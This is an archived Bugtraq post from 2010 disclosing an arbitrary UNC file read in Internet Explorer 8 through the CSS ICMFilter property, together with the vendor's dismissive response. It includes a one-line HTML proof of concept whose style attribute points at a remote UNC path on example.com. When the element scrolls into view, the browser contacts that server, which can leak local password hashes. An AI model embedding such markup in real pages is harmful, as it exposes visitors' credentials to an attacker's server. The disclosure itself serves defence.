bugtraq - Arbitrary UNC file read in IE 8

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <4BF9CDC2.8000409@wikimedia.org>
Date: Mon, 24 May 2010 10:52:18 +1000
From: Tim Starling <tstarling@...imedia.org>
To: bugtraq@...urityfocus.com
Subject: Arbitrary UNC file read in IE 8

Internet Explorer is vulnerable to a drive-by arbitrary UNC file read,
with the usual consequences (local account password disclosure, etc.) as
in IE6 before SP1. It is in ICMFilter, which is accessible via the CSS
filter property. Sample exploit code:

<div
style="-ms-filter:&quot;progid:DXImageTransform.Microsoft.ICMFilter(colorSpace=
'\\\\example.com\\test') &quot;">ICMFilter</div>

IE attempts to contact the remote server when the element is scrolled
into view. The consequences of this are discussed in the context of
previous vulnerabilities at:

http://archives.neohapsis.com/archives/win2ksecadvice/2000-q1/0201.html

I have not checked the ICM file parser for further escalation, but I
think that the risk of disclosure of weak local passwords is sufficient
to warrant concern.

I contacted Microsoft and someone named Tony informed me that it's a
bug, not a security vulnerability, whatever that means.

-- Tim Starling